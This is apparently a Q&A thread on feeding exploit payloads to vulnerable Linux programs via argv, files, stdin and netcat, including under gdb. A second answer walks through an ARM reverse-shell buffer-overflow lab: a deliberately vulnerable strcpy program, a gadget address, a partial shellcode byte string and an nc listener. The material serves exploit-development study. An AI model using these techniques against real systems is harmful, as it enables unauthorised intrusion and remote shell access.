20

I am looking for a complete list of the ways to inject a payload in a vulnerable program in a Unix (Linux) context depending on the inputs opened by the program.

I know that there are several tricks and tips but an exhaustive list would definitely help here.

2 Answers 2

31

Injecting payload and hexadecimal addresses through program inputs depends on the type of input you get. Here is a list of all the possible inputs and the way to do it with both a pure shell environment and from within gdb.

Getting inputs from char *argv[]

In this case, the arguments are read from the initial command line, so the most convenient thing is:

$> ./program $(echo -ne "\xef\xbe\xad\xde")

In gdb, you need to pass the arguments through the run command line like this:

(gdb) run $(echo -ne "\xef\xbe\xad\xde")

Getting inputs from a file

Here, you have no other choice but write in the file and then feed your program with this file like this:

$> ./program ./myfile.txt

And, within gdb, it should look like this:

(gdb) run myfile.txt

Then, outside of gdb you can rewrite the content of the file and run your program again and again in gdb.

Getting inputs from stdin

Getting the input through stdin can be achieve through a wide variety of functions such as fgets(), scanf(), getline(), read() and others. It raises a few problems because the program stop while executing and wait to be fed with characters. And, you would prefer to just have one feed at the beginning to try your stuff and see the result. Let see how to deal with this input.

In case you have to deal with several inputs (eg login, password, ...), you need to use separators between the inputs. Usually the separator between each input is just a newline character (\n or \r depending on the system you are in).

Now, you have two ways of doing to feed the stdin. Either you go through a file, like this:

$> cat ./mycommands.txt | ./program

The stdin requires to run the command either through a file like this:

(gdb) run < ./mycommands.txt

And do as said in the previous case.

The other option is to pipe the output of a command to the stdin of the program like this:

$> echo -ne "\xef\xbe\xad\xde" | ./program

In gdb you can use the bash process substitution <(cmd) trick:

(gdb) run < <(echo -ne "\xef\xbe\xad\xde")

This way is much quicker than effectively creating a named pipe and branch your program on it as recommended on several websites. Creating the named pipe outside of gdb requires a lot of unnecessary steps where you have it instantly with the previous technique.

Note also that, some people are using <<$(cmd) like this:

(gdb) run <<< $(echo -ne "\xef\xbe\xad\xde")

But, this last technique seems to filter out all NULL bytes (for whatever reason), so you should prefer the first one (especially if you want to pass NULL bytes).

Getting inputs from network

Here, you need to use another tool called netcat (the Swiss army knife of networking), often shortened into nc. Basically, if your vulnerable program is listening on localhost:666 then the command line would be:

$> echo -ne "\xef\xbe\xad\xde" | nc -vv localhost 666

Within gdb, the point will be to run (r) the program and to connect to it from another terminal.

Keep the stdin open after injection

Most of the techniques for stdin will send the exploit string to the program which will end shortly after the termination of the input. The best way to keep it open afterward and get an active shell is to add a cat waiting for input on its stdin. It should look like this if you go though a file:

$> (cat ./mycommands.txt; cat) | ./program

Or, like this if you want a shell command:

$> (echo -ne "\xef\xbe\xad\xde"; cat) | ./program

Or, finally, if you are going through the network:

$> (echo -ne "\xef\xbe\xad\xde"; cat) | nc -vv localhost 666

Note that I did not find how to do with gdb to keep the input open once the payload has been delivered.


Update about Python3

You may have noticed that Python changed its way of handling raw bytes when going through the function print(). As an example you can have this kind of behavior (here is a comparison of the Python2 and Python3 behavior):

#> python2.7 -c 'print("\xde\xad\xbe\xef")' | xxd
00000000: dead beef 0a                                ....
#> python3.9 -c 'print("\xde\xad\xbe\xef")' | xxd
00000000: c39e c2ad c2be c3af 0a                   .........

As you noticed, in Python3, the output of print() is expressed in UTF-8 characters which change a lot the result of the command. This is not really convenient when you try to send a sequence of selected bytes to the program you attack.

So, if you are stuck with a system that offers nothing but a Python3 interpreter here is the command line to use:

python3.9 -c 'import sys; sys.stdout.buffer.write(b"\xde\xad\xbe\xef")' | xxd
00000000: dead beef                                ....

You may notice that the command in Python3 is quite more complex than the one in Python2 which somehow ruin a bit the simplicity of the original command. If someone has a shorter and simpler way to achieve this, please drop a comment to this article, I am really looking forward it!

An alternate way of doing it can use the echo command like that:

#> echo -ne "\xde\xad\xbe\xef" | xxd
00000000: dead beef                                ....

But, you cannot use the usual Python syntax such as "\x90" * 12 + "\xde\xad\xbe\xef" which can be annoying if you want to look for the proper padding.

4
  • Thank you, this was really helpful for me. I looked for a way to pass shell code to a function like fgetc. First I got /bin/bash: warning: here-document at line 0 delimited by end-of-file (wanted python), when using (gdb) r < <(python exploit.py). To resolve this I removed spaces from the end of my python script, as suggested in this answer stackoverflow.com/questions/18660798/…. Now it works :-)
    – TruckerCat
    Commented Nov 30, 2019 at 21:03
  • 1
    [...]this last technique seems to filter out all NULL bytes (for whatever reason)[...]: using /bin/echo works in both cases, meaning it's built-in's gdb who's messing with \x0's.
    – iMil
    Commented Aug 17, 2021 at 9:13
  • 1
    @iMil Indeed, I am using echo -ne by now... I should (and I will) update the article to refer about this. Thanks for mentioning it !
    – perror
    Commented Aug 17, 2021 at 13:28
  • 1
    @iMil I finally took the time to change the article to echo only... Sorry for the long delay.
    – perror
    Commented Sep 24, 2021 at 13:54
1

Maybe my investigation will be helpful for somebody.

Brief:

I've prepare the reverse shellcode in assembler for ARM architecture (Raspberry Pi 1 B emulated in Qemu). When I start to test it I encounter few strange behaviours, which I would like to share.

Preparation:

  1. file:

    reverseShell.s


  1. language:

    assembler for ARM architecture (Raspberry Pi 1 B)


  1. compilation:

    as reverseShell.s -o reverseShell.o && ld -N reverseShell.o -o reverseShell


  1. execution:

    4.1. host system:

       nc -lvvp 4444
       Listening on [0.0.0.0] (family 0, port 4444)
    

    4.2. target: (Raspberry Pi 1 B):

      `./ReverseShell`
    

    4.3. host system:

       Connection from arm 60036 received!
       pwd
       /home/user/ARM/03_Security
    

OK, looks good for now

Generating the payload (hex dump):

  1. translate the execution to binary
   objcopy -O binary ReverseShell ReverseShell.bin
  1. dump to hexadecimal format (convert to payload)
   hexdump -v -e '"\\""x" 1/1 "%02x" ""' ReverseShell.bin
   \x01\x30\x8f\xe2\x13\xff\x2f\xe1\x02\x20\x01\x21\x92\x1a.....
  1. In this step, the appropriate number of filler was added at the beginning of the payload - like almost everybody - I used character 'A' which is 41hex. The number of the character depends on the buffer which will be overwritten - in my case it was 12 characters.

  2. Next step was to find the base address of the libc-2.27.so in the virtual memory map and the address of the useful gadget in the libc-2.27.so. For me the best tool for searching the gadgets is ropper. The start address (base) of the libc-2.27 (maybe in your case it will be different library version and different address) in my case was: 0xb6ede000. The gadget address was: 0x00003db9. After gluing: 0xb6ee1db9. This hexadecimal adres form must be paste after the filler and before the payload. So now, the beginning of the payload (together with filler and gadget address) was:

\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\xb9\x1d\xee\xb6\x01\x30\x8f\xe2\x13\xff\x2f\xe1\x02\x20\x01\x21\x92\x1a\xc8\x27\x51\x37\x01\xdf\x04\x1c\x0a\xa1\x4a\x70\x10\x22\x02\x37\x01\xdf\x3f\x27\x20\x1c\x49\x1a\x01\xdf\x20\x1c\x01\......

Passing the payload to the vulnerable program:

  1. The vulnerable program:
    #include <stdio.h>
    #include <string.h>
    
    void func1(char *s)
    {
      char buffer[8];
      strcpy(buffer, s);
    }
    
    int main(int argc, char *argv[])
    {
      func1(argv[1]);
      printf("Everything is fine.\n");
    }
  1. gdb (gef) session

I run the gdb with argument as a payload like below:

gdb --args ./program $(python2.7 -c- 'print("\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\xb9\x1d\xee\xb6\x01\x30\x8f\xe2\x13\xff\x2f\xe1\x02\x20\x01\x21\x92\x1a\xc8\x27\x51\x37\x01\xdf\x04\x1c\x0a\xa1\x4a\x70\x10\x22\x02\x37\x01\xdf\x3f\x27\x20\x1c\x49\x1a\x01\xdf\x20\x1c\...")')

Put the breakpoint on the main and run. Still looks OK. I can put the breakpoint in the func1, just before returning from them:

enter image description here

In this point, the stack should already be overwritten and after `pop', the program should branch to previously glued gadget address and start to execute the program from the previously "prepared" stack. Sooo let's have a look on the content of the stack: enter image description here

red digits:

1 - ok, this is the filler 12 times 'A' character

2 - the gadget address - still ok

3 - the beginning of the payload

4 - Ops, something went wrong, this part of payload should be:

x13\xff\x2f\xe1\x02\x20\x01\x21

but corresponding part of the memory is:

0xe12fff13 0x21010002

Why in second word instead of 0x20 I have 0x00 ?

Ok, I've try to do this with python 3, but NULL will be there even with Python3. This is only the one question. Did you encounter similar situation. What even more interesting, when I change the strcpy() to memcpy() in the func1(), and copy whole payload - 96 bytes, I have still 0 in this place. Am I lost something? I have no NULL's on the payload. Of course the session will crashed with segmentation fault, but I don't expect nothing different. As you can see, the number of NULL's is bigger, further in the memory dump, but no idea why.

2
  • Python3 prints only UTF-8 outputs, so if it encounters some \x20, it won't print the byte but the string "\x20". Which is really irritating because python2 was working properly.
    – perror
    Commented Oct 25, 2022 at 20:23
  • Yes, you are right in case, when we are using Python3, but in abow example I'm using Python 2
    – robi251
    Commented Oct 26, 2022 at 6:13

Your Answer

By clicking “Post Your Answer”, you agree to our terms of service and acknowledge you have read our privacy policy.

Not the answer you're looking for? Browse other questions tagged or ask your own question.